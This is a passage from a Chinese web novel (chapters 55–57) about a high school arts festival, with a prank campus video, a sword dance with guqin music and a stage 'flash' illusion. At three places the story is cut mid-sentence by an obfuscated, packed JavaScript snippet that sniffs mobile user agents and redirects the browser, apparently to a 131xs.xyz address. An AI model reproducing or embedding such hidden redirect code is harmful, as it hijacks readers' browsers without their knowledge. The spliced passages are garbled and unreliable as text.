音乐仍在继续,却不再是平和的前奏,而是—— 是玫瑰,盛装打扮;是张扬,浓墨重彩;是聚光灯下的飞舞,是裙裾的翩跹,是纯白花朵间生出的叛逆;是恬静雪花间寒冰铸成的刃,把自己的身影牢牢刻在了观众的记忆里——很多年以后,仍会想起。 在舞蹈即将谢幕之际,望着舞台正中心的那一抹耀目的绯红,蒋小胖突然感慨道,“啊,我悟了!” “啊?”纪小鱼震惊了,“你悟什么了?” “当你和世界格格不入时,不妨就做一个不一样的人,就像花可以开出不一样的颜色。白色好看,红色也好看。” “嗯,”纪小鱼摸着下巴点了点头,“你说的对。” “没有适合的同伴,也可以独自起舞。”蒋小胖又缓缓开口说道,“独自起舞,独自漂亮,没有什么大不了的。” “嗯,”纪小鱼表示认同,“这一点也很好。” “那么,小鱼,”蒋小胖好奇道,“你呢,你有没有悟出点什么?” 啊,这……还有这一个环节吗? 如果说没有的话,未免太过肤浅,不符合我睿智的形象! 纪小鱼尴尬地摸了摸鼻梁,满脸堆笑地岔开话题,“哎呀呀,小胖,那什么英雄所见略同,你说的正是我要说的!我们、我们还是看下一个节目吧。啊哈哈!哈哈!” 一边说,纪小鱼一边装作没事人一般地把脸转向舞台,目光落在舞台后亮起的荧屏时,脸上的表情突然绷不住了,“诶?诶?那不是我的脸吗?这、这是哪一出啊?我怎么不知道?节目单我看看!哎呀,我的头发有点乱!” “小鱼,淡定!”蒋小胖安慰道,“节目单上写了,这里会插播一个三分钟的校园短片。这个之后就正式开始合唱比赛了。” 啊? 纪小鱼和荧屏上的自己面面相觑。 这个场景是在教室里吧?大概是某个课间——有人在奔跑、有人在笑闹、有人在写题、有人在睡觉;黑板上是数学立体几何的板书,画着一个正放的啤酒瓶和一个倒置的啤酒瓶,要求根据各自的酒面高度求出酒瓶容积与瓶内酒的体积之比,是一眼就能看出答案的一道基础题;一个纸飞机在教室里飞过,顺着飞行的弧线,镜头转向了角落靠窗的位置,给了那里一个特写—— 窗明几净,一如往常。纪小鱼浑然不觉自己正处在某种邪恶的监视下,他的脸仍然是一派天真,眼睛里闪动着赤热的光焰,身体甚至还有些快乐的摇摆,他以一种张扬无畏的姿态,开口大声说道,“爱你!爱你!” 而何非亮那时,正坐在一旁,半拖着腮笑呵呵地注视着他,似要在眸光中一笔一画将他临摹。 55.第五十五章 正片开始 全校同学,一片哗然! “啊啊啊啊啊啊!这个是可以播的吗!?” “纪小鱼他说了吗?他说了!他就这样说了吗?他就这样说了!啊啊啊啊,我还是不敢相信怎么办?天呐!” “救命啊,何非亮的眼神好温柔啊!” “这一段必须发给我!我可以充超级会员!!!” “啊啊啊,卓影我爱你!(怎么还有给卓影表白的╭(°A°`)╮)一定是你拍到的对吧?嗷嗷,爱死你了!” “磕了,磕了!我真的磕了!呜呜呜,磕爆了!” “假的,假的!”纪小鱼在爆炸的人群中发出微弱的呼喊。 但这就好像一滴不会游泳的水,无力地淹没在了一片海洋中。 不,不,我没说! 这一定是一个梦! 纪小鱼狠狠地掐了自己一把——哎呀,好痛! 天啊,这个梦多么的真实,竟然还会痛!细节也很逼真呐,的的确确地留下了两道清晰的指甲印。 嗯……要不掐何非亮一把试一试? 心动不如行动! 然而,纪小鱼的两根手指刚拈到何非亮的胳膊,就被何非亮的另一只手机敏而迅速地逮捕了。 “小鱼,”何非亮握住了纪小鱼挣扎着想要使坏的手指,用冷静沉着的声音击碎了他尚存的幻想,“别掐了,这不是梦。” “不、不的!” “但,的确是假的。”何非亮的眼底浮现出了一丝似是无奈的情绪,“你忘了吗,你当时是在……” 话音未落,荧屏中的影片像是突然被某种神秘的电磁波干扰了一样,叽里哇啦地紧急倒退,又像是被掐断似的骤然暗了下去。在同学们惊疑不定的目光中,黑底的屏幕缓缓打出了四个粗体白字——“开个玩笑”。 然后,正片开始。 依然是刚才的场景。教室,黑板,纸飞机,纪小鱼活力十足的摇摆,何非亮充满关爱的眼神,只不过这次是放出来的终于是纪小鱼未删改版的原音——“爱你孤身走暗巷,爱你不跪的模样……[1]” 卓影的精心设计引起了观众们一点后知后觉的笑声,纪小鱼也恍然般地终于松了口气。原唱的BGM就在这个时候响起—— 啊,是《孤勇者》!世界上最好听的歌! 而屏幕上的画面也终于随着音乐丰富起来,一幕一幕。 是烈日下的军训。 是课桌上垒砌的习题。 是不太理想的考卷。 是黄昏时踩着影子的慢跑,像解压又像在发泄。 是太阳将明未明时亮着灯的教室。 是宿舍楼道坐着安静学习的背影。 是黑板上的考试倒计时,一天一天地减少。 是匆匆填涂的答题卡。 是满满一大本的笔记,纸页磨成毛边。 是走道上挂起的横幅,墙壁上张贴的寄语。 是老师转身用粉笔写下——“人生能有几回搏,此时不搏更待何时!” 是国旗下学生代表的演讲,歌曲的间奏中响起了他温和又坚定的声音,“十年寒窗,难凉热血”——纪小鱼眼睛一亮,兴致勃勃地用胳膊肘戳了戳何非亮,“哎呦,那不是你吗?”然而换来的只是身边人一个懒得搭理的白眼。哎,还真是不领情哦! 歌声再次响起。 是舞蹈室里垫着脚尖的旋转,摔倒,又扶着横杆站起。 是美术室里一笔一画勾勒的素描头像,擦掉,又重新补上。 是站在教室外背书时晚风撩起的衣摆。 是倚着栏杆眺望时略显惆怅的目光。 是篮球赛交叠的双手,众志成城。 是许愿墙上匿名写下的目标大学。 是小小的便利贴,上面写着“加油,相信自己”。 是作文格子纸上工工整整认真写着的“我们也许只是亿万星辰中的一颗星子,却也不应该忘记‘有一分热,发一分光’的信念……”——这回轮到何非亮用胳膊肘挤了挤纪小鱼,“诶,小鱼,这不是你的作文吗?”纪小鱼肃然不笑,尴尬地用“你有毛病”四个字打发了何非亮。 影片还在继续,闪过的是校门口隔着铁栅栏奶奶殷勤递来的饭盒。 是星期五的下午,校门口来接孩子川流不息的车群。车缝里夹着两轮的电动车——那上面坐着的是谁的妈妈呢?她为什么看着庄严的校门,露出了憧憬又骄傲的笑? 是老师低头批改作业时低头画下的笑脸,旁边批注上了“不错,有进步”。 也是暴雨如注的课间,乌云遮天蔽日,狂风卷起窗帘,闪电刺穿天幕。这一张的场景在A班,纪小鱼的目光穿行过照片上教室里其他的同学和被风吹起的试卷,捕捉到了自己站在窗前的背影,也注意到了教室另一端同样站着向窗外远望的何非亮——在某年某月某日的一个不经意间,那时他们俩还不是同桌,却原来一同见证过了一道倏然划过的闪电。 歌曲渐入尾声,荧屏上出现了风雨过后的彩虹。 晴朗的天空下,篮球稳稳入网。 屏幕再次一黑,这次一条条打出的却是煽情的话语—— “哪怕孤独,也要勇敢”; “愿乘风破浪,愿未来可期,愿不负青春”; “You Are the Hero”。 整个影片看下来非常的励志,甚至还有些让人热泪盈眶的冲动。张校长非常满意,带头鼓掌。 于是,面对接下来屏幕上打出的二维码和“关注S中记者社公众号及官方微博,免费下载高清无删减MV”的小广告,张校长也就睁一只眼闭一只眼了。 哎呀,又涨了一波粉丝!卓影看着后台的数据管理系统,心满意足地露出了微笑。 - 一个上午匆匆过去,高二A班在合唱比赛中大获成功,以绝对的优势取得了第一名的好成绩。 心情良好的卓影给D班的同学都点了庆功的奶茶,分发到乔冬冬的手上时,却只听到了“哼”的一声。 “哎呀,这也是没办法的事情啊!”卓影立即领悟到了,陪笑着安慰道,“A班有何非亮做指挥,纪小鱼伴奏,宋倩写歌词,蒋青青领唱,就连滥竽充数的那几位,脸上的表情也是那么的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146150|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真挚动人!咳,这也许就是学霸们的理解能力和演技吧……姑奶奶,还真不是我们班太弱,而是他们班太强了!真的,我觉得吧,我们班能得第二名已经很优秀了!” 乔冬冬脸上的表情稍微缓和了一些,但仍然是抱着胳膊一脸不悦,“我不喜欢何非亮。” “你不喜欢是正常的。你喜欢那还得了?”卓影话音未落,就看见乔冬冬神色一僵,继而柳眉竖起,怒形于色,连忙缩了缩脖子,再也不敢多说,弯着腰毕恭毕敬地把奶茶双手呈了上去,“姑奶奶,喝茶、喝茶,消消气,北纬四十度的鲜奶,多冰不加糖的好茶。” “哼。”乔冬冬赏脸地接过奶茶喝了两口,眼里的愠意这才逐渐冷却下来。她用指甲戳着节目单问道,“何非亮演的是什么节目,为什么上面写得不清不楚的?” 这个问题纪小鱼早就跑来打探过八百回了。卓影苦笑了一下,老老实实地回答道,“在下不知。” “不知?” 果然,乔冬冬透过上扬的尾音,发出了和纪小鱼如出一辙的强烈质疑。 “对呀对呀!”卓影点着头,添油加醋地应和道,“他这人就是这样,神神秘秘、故弄玄虚的。我怎么问他他都不肯说,保密工作做得跟个特务似的。而且、而且他超大牌的好吗?连彩排也不参加!就说我们给他留个十分钟就好。不过我们最后还是通过了他的节目,谁让他是何非亮呢?” 乔冬冬若有所思地抿着唇,扫向节目单将近末尾的地方,那里赫然写着何非亮的大名。 真奇怪,同样的字号、同样的字体,这三个字却好像有什么独特的魔力一般,轻而易举地就拉扯住了她的目光。 节目单上,只能看见何非亮要表演的节目名叫《平安夜》。这没什么特别的,因为今天本就是十二月二十四日,在西方是被称为“平安夜”的日子。至于详情那一栏则是空空荡荡,连一句话的简短介绍也没有。 卓影仍然在喋喋不休,一说到兴起就停不下来了,“哎呀,那个纪小鱼估计也是在试探何非亮的道路上碰了一鼻子的灰!上周六彩排那天,他蹲守到了天黑也没看见何非亮的影子,书包里带的卷子都全部写完了。唉,我都和他说了何非亮不会来,他非不信。完了他又契而不舍地跑来找我打听。我是真不知道!唉,不过他也是挺可怜的,问来问去问不出来的时候,整个人蔫巴巴的,看上去好像一棵趴地菠菜一样。” “我就提议,大哥,你别慌啊,你艺术节干脆上一个脱口秀节目专门吐槽吐槽何非亮呗,那肯定火啊!近水楼台先得月,你坐得离他最近,肯定了解的更多一点是吧?整个S中谁不想知道点何非亮的猛料呢?至少,艺术节的评比上,我保证让记者社全体成员都投票给你。但是纪小鱼拒绝了,他说他不想在大庭广众之下和何非亮扯上关系,而且他只喜欢在背后骂人。” “啊哈哈,不过说起来,之所以不透露细节,何非亮给出的理由是为了演出效果。我个人嘛,觉得他的节目应该还是会挺好看的。嗯……谁让他是何非亮呢?” “反正,不就是今晚的事吗?姑奶奶你稍安勿躁,别着急,一会儿就知道了。” 56.第五十六章 诀别之舞 “八仙过海,各显神通”,这句话用来形容个人赛真是再适合不过了。 而且,大家还都很有创意。 比如,明明是一个书法才艺表演,却更多加了一点剧情:加油的横幅被粗心的小明泼上了墨水,时间紧迫,来不及重新印刷新的了。于是,机智的小红拿来了超大号的狼毫毛笔,蘸上了白色的墨水,在红布上一通横扫。 唰、唰、唰! 这样卖足了关子以后,小红终于和小明一起,拎着写好的红布两端向观众们展示——呀,浑厚圆劲、稳健端庄,赫然便是颜真卿的楷体! 好字、好字! 然而,如此的一副好字却引来了满堂哄笑。只见那红布上写着的,竟然是——“纪小鱼加油,何非亮必胜”! 哈哈哈哈哈! 哎呦喂!这不是公然夹带私货吗? 空气里充满了愉悦的气息。 纪小鱼:“?” 咳……他表示,虽然很欣赏上面的书法水平,但是吧,对这个内容实在有点不太满意。要是把后面半句里的“何非亮”三个字改成“纪小鱼”的话,整体看下来就比较好。对吧? 不过,下一个歌唱节目很快就又吸引了纪小鱼的注意。主唱不是别人,正是F班的陈典。 陈典的一众小弟也跟着呼啦啦地上台,在他的身后稳稳当当地站了一横排,充当着颇气派的背景板。 四面的灯光骤然暗了下去,只剩了一束聚光灯落在陈典身上。他握着麦,脸上浮现出了沉醉的神色,在动感的前奏结束后,迫不及待地引吭高歌。 “喔哦喔哦喔哦喔——” 那歌声,怎么说呢?嗯……那是一种不加修饰的豪放和直白,有着饱满十足的情绪和张力。高音部分自由奔放,如丛林里的孤狼激荡地嚎叫;低音部分又带着粗粝的沙哑,仿佛刚才的那匹骄傲的孤狼已经被打伤了,因而发出伤心且不甘的呜咽。至于他唱的啥呢,听不太清。 记者社负责报道这一节目的小同学提笔写下辣评: “陈典一开口,教学楼颤抖。 陈典二开口,歌王似小丑。” 终于到了间奏阶段。没想到这竟然是最精彩的一部分。陈典又是翻跟斗,又是甩头,突然又来了一个原地倒立,两腿在空中一通乱蹬。 小弟们也不当背景板了,他们和着节拍,认真又卖力地唱道—— “嘿嘿、哈哈”; 停一下,又继续—— “嘿嘿、哈哈” …… 观众们都笑晕了。 纪小鱼也笑得东倒西歪。还有还有,他必须要称赞一下陈典乐队里那个敲架子鼓的黄毛同学。 黄毛同学简直是这一场演出的灵魂人物,一头乱发似黄昏时的枯草。他带感的动作像是在对抗疾风,他不羁的举止像是在嘲笑命运,那身手实在是太癫太狂太野太酷了! 正看得起劲的时候,一个脖子上挂着记者社工作牌的小同学突然蹲行而至,轻轻拍了拍纪小鱼的手背,亮起手机屏幕给他看打在上面的字,“纪小鱼同学,差不多该去候场了。” “嗯。”纪小鱼从笑中回过神来,深呼吸了一下,郑重地点了点头。 他要去奔赴他的战场了。 要从这黑暗进到那光明里、从观众的坐席走向万众瞩目的聚光灯下。 那一刻其实是孤独的。 现场的音乐太燃太炸,以至于纪小鱼勾着腰侧身经过何非亮座位前的窄路时,并没有听见那句就落在耳畔的“加油啊小鱼”。 经过后台走道的时候,纪小鱼恰好和陈典乐队刚结束演出的架子鼓手擦肩而过。 “诶?”涂抹着烟熏妆的黄毛突然回过头,“好兄弟?” “啊?”纪小鱼也愣愣地回过头,“黄毛……兄弟?” 吕天明有点不好意思地揪了揪自己披散的乱发,“哎呀,这个是假发。” “啊?”纪小鱼懵了。 “啊!”纪小鱼震惊了。 “啊呀!”过了一会,纪小鱼又再次震惊了一下,这才终于搞明白了,朝吕天明竖起了大拇指,“牛、牛逼!特别是你刚才那个甩头,绝了!” “好兄弟,你别告诉别人,”吕天明小小声地说,“我刚才那是头痒……哎呀,假发嘛,还是有点不习惯。” “哦呵呵呵,是吗?”纪小鱼搔了搔脸,“哎呀,我一会好像也要戴假发呢。” “哎呦,真的假的!”吕天明的眼睛里放射出了既惊讶又好奇的强光,“我肯定那个什么……拭目以待!拭目以待!” - 快要上场的时候,乔希希突然转过头来,对纪小鱼说,“其实我更喜欢中国舞,就像茶和咖啡,也更喜欢茶。” “啊?”纪小鱼回想起自己曾经在某一个午后,端起何非亮桌上的咖啡那一饮而尽的苦涩,深表同感地点点头,“我也是。” 乔希希笑笑。 兴许是化上了舞台妆的缘故,她弯起眼睛的时候,就连那一点流露出来的笑意,也连带着飘散出了些许游离于物外的空蒙。不说话也不笑的时候,她的眸光里便安安静静地盛着水光潋滟的湖泊,仿佛一眨间就要落泪。 纪小鱼看见她一直在做深呼吸,便随口问道,“你是不是有点紧张?” “嗯。”乔希希慢吞吞地回答道,“虽然已经不知道站上舞台多少次了,可是每一次上台前还是会紧张。你呢?” “我还好。”纪小鱼有点不好意思地承认,“我一般是等结果的时候比较紧张。” 主持人已经开始报幕了,工作人员低声招呼他们,“下一个就到你们了。来、先站到这里来。等一下看我手势,我这样,你们就上。诶,诶,纪小鱼,别照镜子了!” “哦!” …… 剑舞,《虞姬·垓下别》。 灯光如月晖,清幽、静谧。 一束落在乔希希的身上——广袖流仙,衣带当风,裙裾微动,步步生莲,手中长剑清寒。 一束落在纪小鱼的身上,他侧身于座上抚琴,锦衣长袍,玉冠束发,眉眼低垂。抬腕起手,便是几个敲金击石般的森然肃杀之音——毫无铺垫,如风云突变;急而短促,似英雄末路。 “这是诀别的舞。”筹备的时候,乔希希是这样和纪小鱼解释的,“所以一定要很好看才可以。” 今天她也的确是很漂亮。水畔惊鸿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16150081|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镜中昙花,莫过于此。是一种会让人呼吸一滞的美。 歇步、回头、望月。 舞风、折影、分光。 三尺剑在手,斩不断离愁。 噫!垓下别,垓下别,情知是诀别! 往事犹眼前,今生不复见! 伴奏的琴音还在继续,声声高亢铿锵。拨弦,若铁骑的马蹄;横扫,若流矢遮蔽天际。是将军令、是广陵散、是十面埋伏。 几个翩然盘剑、一气呵成的旋转后,虞姬扬袖凝眸,横剑于眉前,目光定定,无怨无恨,唯有哀伤和祈愿。 琴声也终于在此时落下了几个颤音,逐渐转柔,恍惚间交战的兵戈声已远去,只剩下了一片空空荡荡的悠扬和凄美。仿佛人间终于下了一场大雪,纷纷扬扬白茫茫,掩埋了尘世的动乱。 剑舞、琴声,和着黑暗处传来空灵哀婉的歌声—— “ 如梦 似空 红尘里做客此身中 如真似幻 颠沛间历尽几星霜 自古乱世难白首 一载相知更何求 鼓角声又起金风里 情知是别离 - 繁花忽已谢成灰 故乡隔楚水难归 四面歌声残 空含悲 却愿道天命可违 霸王不肯负江东 虞姬亦不悔 相逢 大王何必问奈若何 死生契阔非空说 ……[1] ” 歌声隐没,音乐声再次转向高昂,穿云裂石,和剑舞愈加凌厉的身姿完美地融合在了一起。是悲壮的,也是不屈的;是无畏的,也是决绝的;是骄傲的,也是坚定的。 骓马行军不肯前,停步踌躇空自鸣。 大王意气消磨尽,悠悠天道意难平。 笑那楚歌声,不敢唱《国殇》[2]! 原来,诀别的舞,可以是这样温柔与力量并存,可以是这样不羁的、利落的、酣畅淋漓的。舞剑即是舞心,而心,可以是这个世界上最柔软的东西,也可以是这个世界上最刚强的东西。 以身带剑,势如长虹;以剑催身,宛若游龙。 剑指之处,剑气凛然,睥睨天下尘与土。 蒋小胖惊呆了,这就是传说中的“剑舞若游电,随风萦且回[2]”吗?这就是传说中的“人剑合一”吗?太、太赞了吧?还有这个仙品音乐,也真的是和舞蹈浑然一体、相映成彰的存在!真不愧是小鱼啊! 其他观众们也惊呆了——天啊,简直美绝了!世界上真的有剑仙吗?武侠小说难道其实是真的吗?虽然前面的节目也很精彩,但是这一个,是连眼睛都恨不得能够不眨的存在啊! “铛!”琴弦恰似折断,而舞姿也戛然停留在了最美的一瞬间。 寂静中,又是几声清幽的琴声,像隔着空旷的水面,从远处响起,不紧不慢,恰似流年。 虞姬的身影在灯光的效果下逐渐模糊,化为点点荧光,化为碎霜,化为风雪,化为楚江…… 江水横流拍岸,千年又千年。 过了很久,观众席上才迟迟响起了一片如雷的掌声。 57.第五十七章 我会闪现 “不、不可能再被何非亮超过了吧?”纪小鱼像老母亲一般,眼巴巴地看着自己刚才演出的回放,既欣慰又爱怜。看到最后,几乎要潸然泪下了,“你看这演得多好啊!虽然这次我的存在感稍微低了那么一点,但毕竟是我编的曲、写的词、伴的奏。” “谢谢你!”乔希希小声地说。她说这话的时候是真挚的——舞蹈有形无声,音乐有声无形,二者相辅相成、密不可分。没有纪小鱼的帮助,刚才的演出可能连四分之一的效果都达不到。 “呜呜呜,”纪小鱼像是没听到这句感谢一样,自顾自痛苦地捂住了胸口,一边声情并茂地直抒胸臆,“苍天啊,我明明是一个多么有才华的人啊!当然,你也可以说我是一个多么有才的华人!我为我自己身体中流淌着中华民族的血液而感到骄傲!” “咳,”他清了清嗓子,终于把扯远了话题又重新拉了回来,“哎呀,可是呢,这么多年来,我的才华、我的魅力、我的价值,却偏偏隐没在了何非亮的光芒下!这是多么的不科学啊!啊,苍天啊,我的内心里有暴风的呼啸,你难道听不到吗?” “拜托,你能安静点吗?”乔冬冬在一旁撇了撇嘴,冷嘲热讽道,“你反思一下,这么多年来,苍天不听你说话,有没有可能是因为你太吵了,把你屏蔽了?” 刚才演出中的歌其实是乔冬冬唱的。她唱功极好,是天赋型选手,只是她觉得,要让自己当众唱歌,实在是一件非常尴尬且丢脸的事情,所以演出时只愿藏身在灯光照不到的黑暗里。 “哼!”纪小鱼闷闷地闭了嘴,看在他们目前还勉强算是合作关系的份上。 嘿呀!好气哦! 我怎么就吵了呢? 一个人遇到事情,如果不抒发点什么,那他又能留下点什么呢?从古至今,从中到西——那哲学,岂不满是疯人的呓语?那诗歌,不也充满了抱怨?那小说,骂世的还少吗?就连毛主席都说过:“发牢骚有什么不好?有牢骚不发,过得吗?[1]”对呀,那《离骚》,谁说就不是屈原的牢骚呢? 纪小鱼一边理直气壮地想着,一边百无聊赖地滑动着手机的屏幕。 让他既惊又喜的是,在他们演出视频下方的评论区里,竟然已经涌现出了足足200多条的评论,称得上是好评如潮。尤其是其中的几条评论格外亮眼: 【momo:求助,我是上周新轉學來的,有人知道那個彈琴的小哥哥是誰嗎?拜托一分鐘內給我他全部的資料吧!從今天起他就是我心目中古裝第一美男子了!!!】 【爱吃鱼的喵:啊咧,纪小鱼你都不认识?他?@%……(此处省略500字的彩虹屁)】 【SAVANNAH:啊啊啊啊啊!纪小鱼,我爱你!怎么会有你这样又帅又厉害的人哦!!!比心!】 【不如终日梦为鹿:我觉得那个琴真的弹得好好啊!我刚才眼泪差点都要流出来了……】 【Lightning:小鱼,加油。】 【每天都想摸鱼:太难过了,早知道当年就多努力一点了。没考到A班,错过了能近距离看帅哥的机会!心碎!】 【丝莼玉藕-:真的,要是早知道A班存在着两位那么帅的帅哥,头悬梁、锥刺股,我也要考进去啊。】 【谷谷谷谷谷:我缓缓打出一个问号,问你为何这么帅还这么有才华?】 【明天会更好:赞!好兄弟,牛逼!】 …… 于是,纪小鱼心里的那个气,还没到半分钟就完完全全的烟消云散了。 嘿嘿、嘿嘿、诶嘿嘿!╮( *︾▽︾)╭ - 方寸舞台,大千世界。 小小的艺术节也办得有声有色。吹、拉、弹、唱自不必说,小品、相声、舞台剧也精彩纷呈,还有诸如诗歌朗诵、霹雳舞、一边打篮球一边说唱之类的,可以说是“百花齐放”了。 啊,艺术的背后,不正是自由吗?谁不想拥抱一个奔放的灵魂呢? 不知不觉,一个又一个的节目谢幕凯旋,下午场一晃而过,晚上场也即将接近尾声。 终于要来了。 什么要来了? “风雨要来了。” 纪小鱼自言自语道。他下意识地侧头瞄了一眼身旁空了许久的座位,一颗心“砰砰”直跳。 “忐忑”这个词,大概不能很好地描述他现在心脏七上八下的状况。在那个心脏起落的激荡间,还缠绕着一种难以言说的紧张和……兴奋!这些都让他的眸光里,散发出一种异样的光彩。 无数期待的目光不约而同地聚在了舞台上。那里现在一片黑暗,什么也看不见,但不久以后便将有光的降临。 “哒”。 舞台正中央的聚光灯应声亮起。 万众瞩目下,一道模糊的身影从强光深处缓步走来。远远望去,只看得清寥寥几笔裹在光雾里的形意。可就是这么一个朦胧的轮廓,偏偏就让人平白地有一种相信,那走来的人必定是风姿俊雅、气度非凡的。 果然,待到走近时,那身影也终于明晰了起来,显露出了令人惊叹的俊美。来人正是S中毫无争议的第一校草何非亮。舞台上,他穿着一袭剪裁得体的西装,不寻常地戴上了一副斯斯文文的金丝边眼镜,整个人比平日更多了些精致的体面,显得贵气逼人。 这家伙一出场便引发出了大场面的掌声和欢呼。就连蒋小胖也把持不住了,在一旁“嗷嗷”地叫了起来。 “等一下,”纪小鱼拼命说服自己,“等一下,纪小鱼,你可千万不能觉得他帅,他不过穿得像个卖保险的,没什么大不了的。” 两个工作人员七手八脚地搬来了一扇屏风,放在何非亮的正后方,又一同撤离了。 “我要表演的第一个技能——” 何非亮故作神秘地停顿了一下,巡视四方,目光在人群中找到了纪小鱼,在他的脸上似是故意的、又似是无意地滑了一下,嘴角勾起微笑。 纪小鱼皮笑肉不笑地回之以白眼。别人不懂他懂,在刚才二人眼神交接的那一刹那,他很明确地接收到了来自何非亮的讯号——“小鱼,看清楚了哦。看我是怎么,打、败、你的。” 很好、很好、非常好!被挑衅到的纪小鱼龇牙咧嘴地用右手死死按住了比较感性的左手,防止左手想不开,一时冲动扑腾上去打人。 唉,怎么说呢?虽然也的确是有那么一个想要上去搞破坏、砸场子的念头,但他毕竟是一个讲文明、懂礼貌的人,一个有涵养、有素质的人,一个新时代脱离了低级趣味的人! 道德五花大绑,束缚了雄狮的手脚。现在他唯一能做的,就是坐以待毙、啊不,是冷眼旁观着他宿命中的劲敌,瞧他究竟要在台上耍什么花招。 何非亮继续开口道,“是我在王者峡谷学到的——” 观众席中响起了一点零星的笑声。 “哈?什么有的没有的???”纪小鱼小小的脑袋里缓缓打出了三个大大的问号。 什么?王者峡谷学到的!? 何非亮莫不是疯了?他总不会要在艺术节公然打game吧?OMG,虽然电子竞技最近很跑火,表演这个也不赖,但是张校长还坐在这里看着呢!何非亮这是不要命了吗……不要张校长的老命了吗? “名字叫做‘闪现’。”何非亮终于把一句话给说完整了。 “啊?”观众们仍然是不明所以。 “我身后是一块空白的屏风,既无绘画,也无书法。” 何非亮不慌不忙,转而又娓娓介绍起了身后的屏风,“白居易的《素屏谣》中,以这样不经修饰的空白屏面象征着纯净高洁的自我意志。元末明初之际,返朴归真的素屏被文人画家作为隐退士大夫的标志。明中期以后,素屏的运用更加流行,甚至一度成为了绘画中的标准布景……但回归到屏风本身的作用,不可否认,它也同时是空间的一种巧妙的点缀和隔断。[2]” “现在,在灯光的照射下,这块屏风呈现出了半透明的状态。”何非亮一边说,一边绕行到屏风的背后。屏风上随着他的行动,显现出了修长挺拔的影子,直到他从屏风的另一端走出。 “等一会呢,”何非亮信誓旦旦地开口,“我将从这块屏风的背后,闪现而出。” “诶?”观众们纷纷发出了惊疑地抽吸声。 所以、所以何非亮要表演的节目是那种……不是游戏里,而是真实生活中的闪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168825|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现!? 真的假的!如果是别人说的这话,大家肯定觉得他是在口出狂言、牛皮飞天啰。但如果是何非亮说的话……哇靠,难不成他真的炼成了? 这下,大家都被拉足了期待。 “啊?何非亮不是要表演弹钢琴啊?看来之前的猜想有一点偏差……”纪小鱼暗自琢磨了一下,随及又不屑地摇头,心道,“管他要表演什么呢,不过又是在那里装神弄鬼罢了!只听说过老鼠的儿子会打洞,崂山的道士会穿墙,何非亮他好端端的一个凡人,怎么可能会什么闪现嘛!嗯……就算他真的会,那也一定是那块屏风有问题!比如,那块屏风中间其实藏了个拉链,拉链拉开了就有个洞可以钻出来之类的……” 正想着,就听见了何非亮的声音从舞台正中传了过来,“为了证明这块屏风没有问题,我们请几个同学上来检查一下,好不好?” 呀!还有互动环节! 同学们争先恐后地举手。何非亮笑了笑,“主持人,麻烦你帮我选五位同学上来吧。” 主持人受宠若惊地起身,为难地看向观众席。 哎呀,几乎全部人都把手举起来了!这可怎么选啊! 主持人只好凭着感觉随机在观众中间点了四个。 哎呀,一连四个都没选中自己。纪小鱼急切地把手举得更高了。 “最后一个——”没想到,主持人竟然犹犹豫豫地指了指自己,“我能选我自己吗?” 何非亮一愣,微微颔首。 于是,主持人也兴奋地冲上了舞台。 纪小鱼遗憾落选。(`∧'') 被选中的幸运同学们站在屏风后面,仔细检查。屏风上一一映出了他们大大小小的影子。 何非亮问,“屏风破了吗?” 上台检查的小同学们都摇头说,“没有。” “就是一块——普通的屏风对吧?”何非亮继续问。 “嗯!”大家都表示同意。还有不信邪的小同学伸手在屏面上摸了一把,嗯……确实啥也没有;再摸一把,嗯……手感滑滑的还不错。真的再没别的了。╮( ̄▽ ̄"")╭ 好吧,屏风确实没问题。 检查结束,小同学们恋恋不舍地下台。 何非亮礼貌地对他们表示感谢。舞台上转眼又空空荡荡,只剩下了一人、一屏风而已。 他移动步伐,走向了屏风的背面,身影切换成屏面上单薄的侧影,仿佛从三次元世界走进了二次元世界一样。 影子从侧边往中间移动,终于在屏面正中的位置停了下来,双手抱臂地站住。 由动到静,那精致的轮廓显得更加清晰,仿佛妙笔天成的画。浓墨涂染了细节,只保留了形神。轮廓处改用工笔,细致地勾勒出了清隽好看的线条。尤其是眉眼间、鼻梁处极流丽的起伏,几乎美得一无瑕疵。 庭前玉树,无风自美,本应引人遐想、引人沉醉。 观众们却一时忘记了审美,只注意地观察着影子的一举一动,生怕错放了任何细节。 纪小鱼更是如此,聚精会神,比上课还要认真。 “那么,请大家看好了,”何非亮稳定的声音从屏风后传出,“倒计时三秒以后,我会从屏风后闪现出来。” 他低沉着声音,循着呼吸的节奏,不紧不慢地开始轻数着倒计时—— “三。” 那声线带着磁性,在空旷的舞台回荡,又游走进观众们发烫的耳中。 “二。” 伴随着倒计时,还有如同心尖搏动一样震颤的背景音,“噔噔、噔噔”,一声一声压迫在观众们的心上,衬托得气氛更加紧张。 